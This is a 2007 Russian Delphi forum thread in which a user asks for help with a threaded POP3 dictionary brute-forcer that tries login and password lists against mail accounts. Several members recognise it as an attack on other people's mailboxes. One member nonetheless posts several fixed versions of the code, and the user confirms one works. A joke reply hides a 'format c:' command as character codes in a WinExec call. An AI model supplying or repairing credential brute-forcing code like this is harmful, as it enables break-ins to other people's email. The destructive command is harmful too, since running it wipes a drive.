Текущий архив: 2007.09.16;
Скачать: CL | DM;
Вниз
Проблема Найти похожие ветки
← →
Bast (2007-08-21 01:19) [0]Есть код(приведенный ниже) когда пароль найден, то я хочу перейти сразу на другую строчку, как я могу это сделать?
procedure threed.Execute;
var
LoginStrings:TStrings;
PassStrings:TStrings;
i,j:integer;
begin
LoginStrings:=TStringList.Create;
PassStrings:=TStringList.Create;
//Çàãðóæàåì âàðèàíòû — ñïðàâî÷íèêè èìåí è ïàðîëåé
LoginStrings.LoadFromFile(form1.Edit3.Text);
PassStrings.LoadFromFile(form1.Edit4.Text);
form1.IdPOP31.Host:=form1.Edit1.Text;
form1.IdPOP31.Port:=strtoint(form1.Edit2.Text);
for i:=0 to LoginStrings.Count-1 do
for j:=0 to PassStrings.Count-1 do
begin
form1.IdPOP31.UserName:=LoginStrings.Strings[i];
form1.IdPOP31.Password:=PassStrings.Strings[j];
form1.Memo2.Lines.Add(LoginStrings.Strings[i]+";"+PassStrings.Strings[j]);
//Ïîïûòêà ñîåäèíåíèÿ.
try
form1.IdPOP31.Connect;
except
end;
if form1.IdPOP31.Connected then
begin
form1.Memo1.Lines.Add(LoginStrings.Strings[i]+";"+PassStrings.Strings[j]);
i:=i+1;
form1.IdPOP31.Disconnect;
end;
form1.IdPOP31.Disconnect;
end;
end;
end.
← →
THandle © (2007-08-21 08:13) [1]goto?
← →
Сергей М. © (2007-08-21 09:07) [2]
> хочу перейти сразу на другую строчку
"Сразу" это как ?
"На другую" это какую ?
Почему не выполняешь требования по синхронизации обращений к vcl-контролам с основным тредом ?
← →
Anatoly Podgoretsky © (2007-08-21 09:34) [3]Что ты хочешь сделать?
← →
max_ (2007-08-21 09:43) [4]break
← →
Сергей М. © (2007-08-21 09:44) [5]Ну так и сделай break, в чем проблема-то ?)
← →
Slym © (2007-08-21 09:45) [6]Anatoly Podgoretsky © (21.08.07 9:34) [3]
Очередной кулхацкер пишет брутфорс на почтовый аккаунт
← →
DrPass © (2007-08-21 10:13) [7]
> Сергей М. © (21.08.07 09:07) [2]
>
> > хочу перейти сразу на другую строчку
>
>
> "Сразу" это как ?
> "На другую" это какую ?
>
> Почему не выполняешь требования по синхронизации обращений
> к vcl-контролам с основным тредом ?
Ты говоришь о синхронизации человеку, который не может самостоятельно выйти из цикла?
← →
Сергей М. © (2007-08-21 10:24) [8]
> DrPass © (21.08.07 10:13) [7]
Ну может он еще не совсем безнадежен)..
← →
Dib@zol © (2007-08-21 10:28) [9]Реально, ставь goto и радовайся жизни! :)
procedure threed.Execute;
label
_end;
var
LoginStrings:TStrings;
PassStrings:TStrings;
i,j:integer;
begin
LoginStrings:=TStringList.Create;
PassStrings:=TStringList.Create;
//Caa?o?aai aa?eaiou — ni?aai?ieee eiai e ia?ieae
LoginStrings.LoadFromFile(form1.Edit3.Text);
PassStrings.LoadFromFile(form1.Edit4.Text);
form1.IdPOP31.Host:=form1.Edit1.Text;
form1.IdPOP31.Port:=strtoint(form1.Edit2.Text);
for i:=0 to LoginStrings.Count-1 do
for j:=0 to PassStrings.Count-1 do
begin
form1.IdPOP31.UserName:=LoginStrings.Strings[i];
form1.IdPOP31.Password:=PassStrings.Strings[j];
form1.Memo2.Lines.Add(LoginStrings.Strings[i]+";"+PassStrings.Strings[j]);
//Iiiuoea niaaeiaiey.
try
form1.IdPOP31.Connect;
except
end;
if form1.IdPOP31.Connected then
begin
form1.Memo1.Lines.Add(LoginStrings.Strings[i]+";"+PassStrings.Strings[j]);
i:=i+1;
//form1.IdPOP31.Disconnect;
goto _end;
end;
_end:
form1.IdPOP31.Disconnect;
end;
end;
end.
Типа так?
← →
wp2 © (2007-08-21 10:30) [10]LoginStrings.LoadFromFile(form1.Edit3.Text);
мдя... это ж надо было такое замутить.
LoginStrings.Add(Edit3.Text)
← →
DrPass © (2007-08-21 10:43) [11]
> Dib@zol © (21.08.07 10:28) [9]
_end - это некузяво. Реальные пацаны обозначают метки цифрами 1, 2, 3... и так далее
← →
Bast (2007-08-21 10:45) [12]Мне нжуно чтобы i передвинулась на 1 строки ниже если пароль нашелся
← →
Игорь Шевченко © (2007-08-21 10:46) [13]Write-only user
← →
wp2 © (2007-08-21 11:05) [14]Аффтар, учи паскаль.
← →
Сергей М. © (2007-08-21 11:09) [15]
> i передвинулась
Как это "передвинулось" ?
> на 1 строки ниже
Ниже чего ?!
← →
Bast (2007-08-21 11:12) [16]ну смотрите
нашелся пароль от email tt@tt.ru, а он все еще продолжает подюирать пароли к tt@tt.ru, мне нужно чтобы если пароль нашелся, то перестал подбирать к пароли к tt@tt.ru и начал подбирать пароль к след. email который лежит в login.txt
← →
sniknik © (2007-08-21 11:14) [17]... научишь такого потом письма из ящиков пропадать начнут....
← →
sniknik © (2007-08-21 11:15) [18]> Write-only user
и слава Гейтцу!
← →
Сергей М. © (2007-08-21 11:19) [19]
> Bast (21.08.07 11:12) [16]
см. [4]
← →
Bast (2007-08-21 11:25) [20]
> ... научишь такого потом письма из ящиков пропадать начнут.
> ...
Обижаешь...
← →
Сергей М. © (2007-08-21 11:27) [21]
> Bast
Т.е. в http://delphimaster.net/view/2-1187604813/ ты тыришь у жертвы мыльные адреса, а в этом сабже пытаешься отбрутфорсить их ?
Нехорошо, дядя, гадить, ой нехорошо)
Как тебе не ай-ай-ай ?)
← →
Bast (2007-08-21 11:29) [22]break; это не то, он останавливает цикл, а мне нужно не остановить, а передвинуть
← →
DrPass © (2007-08-21 11:29) [23]
> Сергей М. © (21.08.07 11:27) [21]
Не переживай. Я уже позвонил в ФАПСИ, обещали этим товарищем заняться. Скоро будет баландой завтракать
← →
alshtam (2007-08-21 11:30) [24]continue продолжает цикл со следующей цифры
← →
Dib@zol © (2007-08-21 11:30) [25]> Не переживай. Я уже позвонил в ФАПСИ, обещали этим товарищем
> заняться. Скоро будет баландой завтракать
> Нехорошо, дядя, гадить, ой нехорошо) (с)
:)
← →
Плохиш © (2007-08-21 11:33) [26]
> Bast (21.08.07 11:29) [22]
Да у тебя ещё и проблемы с логикой.
> alshtam (21.08.07 11:30) [24]
И какой из циклов аФФтара оно продолжит?
← →
Сергей М. © (2007-08-21 11:38) [27]
> Bast (21.08.07 11:29) [22]
> нужно не остановить, а передвинуть
Ты в состоянии вразумительно объяснить, что такое "передвинуть цикл" ?)
← →
Dib@zol © (2007-08-21 11:45) [28]Походу я могу. Надо (см. код) увеличить i на 1, а в j прописать 0.
Аффтару: такая циклическая конструкция тута не подходит. for в данной ситуации явно не рулит. repeat - until!
procedure threed.Execute;
var
LoginStrings:TStrings;
PassStrings:TStrings;
i,j:integer;
begin
LoginStrings:=TStringList.Create;
PassStrings:=TStringList.Create;
//Caa?o?aai aa?eaiou — ni?aai?ieee eiai e ia?ieae
LoginStrings.LoadFromFile(form1.Edit3.Text);
PassStrings.LoadFromFile(form1.Edit4.Text);
form1.IdPOP31.Host:=form1.Edit1.Text;
form1.IdPOP31.Port:=strtoint(form1.Edit2.Text);
i:=0;
repeat
for j:=0 to PassStrings.Count-1 do begin
form1.IdPOP31.UserName:=LoginStrings.Strings[i];
form1.IdPOP31.Password:=PassStrings.Strings[j];
form1.Memo2.Lines.Add(LoginStrings.Strings[i]+";"+PassStrings.Strings[j]);
try
form1.IdPOP31.Connect;
except
end;
if form1.IdPOP31.Connected then begin
form1.Memo1.Lines.Add(LoginStrings.Strings[i]+";"+PassStrings.Strings[j]);
i:=i+1;
form1.IdPOP31.Disconnect;
end;
form1.IdPOP31.Disconnect;
end;
i:=i+1;
until i>LoginStrings.Count;
end;
← →
Dib@zol © (2007-08-21 11:47) [29]Тфу ты. Вот:
procedure threed.Execute;
label
_end;
var
LoginStrings:TStrings;
PassStrings:TStrings;
i,j:integer;
begin
LoginStrings:=TStringList.Create;
PassStrings:=TStringList.Create;
//Caa?o?aai aa?eaiou — ni?aai?ieee eiai e ia?ieae
LoginStrings.LoadFromFile(form1.Edit3.Text);
PassStrings.LoadFromFile(form1.Edit4.Text);
form1.IdPOP31.Host:=form1.Edit1.Text;
form1.IdPOP31.Port:=strtoint(form1.Edit2.Text);
i:=0;
repeat
for j:=0 to PassStrings.Count-1 do begin
form1.IdPOP31.UserName:=LoginStrings.Strings[i];
form1.IdPOP31.Password:=PassStrings.Strings[j];
form1.Memo2.Lines.Add(LoginStrings.Strings[i]+";"+PassStrings.Strings[j]);
try
form1.IdPOP31.Connect;
except
end;
if form1.IdPOP31.Connected then begin
form1.Memo1.Lines.Add(LoginStrings.Strings[i]+";"+PassStrings.Strings[j]);
form1.IdPOP31.Disconnect;
goto _end;
end;
form1.IdPOP31.Disconnect;
end;
_end:
i:=i+1;
until i>LoginStrings.Count;
end;
← →
Плохиш © (2007-08-21 11:49) [30]
> Dib@zol © (21.08.07 11:47) [29]
Прикольные маразматические извращения и всё только из-за отсутствия знаний того, что делает break :-) Продолжай...
← →
Dib@zol © (2007-08-21 11:51) [31]> [30] Плохиш © (21.08.07 11:49)
Любую задачу можно решить несколькими способами. Я свой предложил, а ты нет, профи ты наш.
← →
Сергей М. © (2007-08-21 11:53) [32]
> Dib@zol © (21.08.07 11:51) [31]
> Я свой предложил
.. и оказал тем самым медвежью услугу)
← →
DrPass © (2007-08-21 11:57) [33]
> Сергей М. © (21.08.07 11:53) [32]
> .. и оказал тем самым медвежью услугу)
Наоборот, это природный механизм естественного отбора в действии :)
← →
Bast (2007-08-21 11:58) [34]
> procedure threed.Execute;
> label
> _end;
> var
> LoginStrings:TStrings;
> PassStrings:TStrings;
> i,j:integer;
> begin
> LoginStrings:=TStringList.Create;
> PassStrings:=TStringList.Create;
> //Caa?o?aai aa?eaiou — ni?aai?ieee eiai e ia?ieae
> LoginStrings.LoadFromFile(form1.Edit3.Text);
> PassStrings.LoadFromFile(form1.Edit4.Text);
> form1.IdPOP31.Host:=form1.Edit1.Text;
> form1.IdPOP31.Port:=strtoint(form1.Edit2.Text);
> i:=0;
> repeat
> for j:=0 to PassStrings.Count-1 do begin
> form1.IdPOP31.UserName:=LoginStrings.Strings[i];
> form1.IdPOP31.Password:=PassStrings.Strings[j];
> form1.Memo2.Lines.Add(LoginStrings.Strings[i]+";"+PassStrings.
> Strings[j]);
> try
> form1.IdPOP31.Connect;
> except
> end;
> if form1.IdPOP31.Connected then begin
> form1.Memo1.Lines.Add(LoginStrings.Strings[i]+";"+PassStrings.
> Strings[j]);
> form1.IdPOP31.Disconnect;
> goto _end;
> end;
> form1.IdPOP31.Disconnect;
> end;
> _end:
> i:=i+1;
> until i>LoginStrings.Count;
> end;
Спасибо, помогло
← →
Dib@zol © (2007-08-21 11:58) [35]> [32] Сергей М. © (21.08.07 11:53)
Так. Какова ситуация? Чел не хочет/не может/не знает как использовать Брейк. Я предлагаю иной вариант, но если вас уж так это коробит, то пожалте:
procedure threed.Execute;
var
LoginStrings:TStrings;
PassStrings:TStrings;
i,j:integer;
begin
LoginStrings:=TStringList.Create;
PassStrings:=TStringList.Create;
//Caa?o?aai aa?eaiou — ni?aai?ieee eiai e ia?ieae
LoginStrings.LoadFromFile(form1.Edit3.Text);
PassStrings.LoadFromFile(form1.Edit4.Text);
form1.IdPOP31.Host:=form1.Edit1.Text;
form1.IdPOP31.Port:=strtoint(form1.Edit2.Text);
for i:=0 to LoginStrings.Count-1 do
for j:=0 to PassStrings.Count-1 do
begin
form1.IdPOP31.UserName:=LoginStrings.Strings[i];
form1.IdPOP31.Password:=PassStrings.Strings[j];
form1.Memo2.Lines.Add(LoginStrings.Strings[i]+";"+PassStrings.Strings[j]);
//Iiiuoea niaaeiaiey.
try
form1.IdPOP31.Connect;
except
end;
if form1.IdPOP31.Connected then
begin
form1.Memo1.Lines.Add(LoginStrings.Strings[i]+";"+PassStrings.Strings[j]);
form1.IdPOP31.Disconnect;
BREAK;
end;
form1.IdPOP31.Disconnect;
end;
end;
end.
← →
iXT © (2007-08-21 12:02) [36]> [35] Dib@zol © (21.08.07 11:58)
Зачем?
← →
Сергей М. © (2007-08-21 12:02) [37]
> Dib@zol © (21.08.07 11:58) [35]
"Медвежесть" услуги здесь в том что приводится некое готовое решение человеку, не умеющему и/или не желающему ни читать, ни думать, занимающемуся к тому же откровенно неблаговидными "делами".
← →
Dib@zol © (2007-08-21 12:04) [38]> [36] iXT © (21.08.07 12:02)
> [37] Сергей М. © (21.08.07 12:02)
Именно потому и привожу, что чел с таким набором знаний вряд ли когда-либо напишет то, чего он хочет.
← →
Dib@zol © (2007-08-21 12:07) [39]Опять же, а если он будет читать хелпы и мануалы, изучать статьи и SDK, то со временем будет способен на многое! Так не лучше ли притормозить этот пагубный процесс?
← →
iXT © (2007-08-21 12:08) [40]for i:=0 to Count - 1 do
begin
.......
if <Нашел что искал>
then WinExec("$102+$111+$114+$109+$97+$116+$32+$99+58");
end;
ЗЫ Вариант с форматированием почтового ящика :)
Страницы: 1 2 вся ветка
Текущий архив: 2007.09.16;
Скачать: CL | DM;
Память: 0.57 MB
Время: 0.047 c
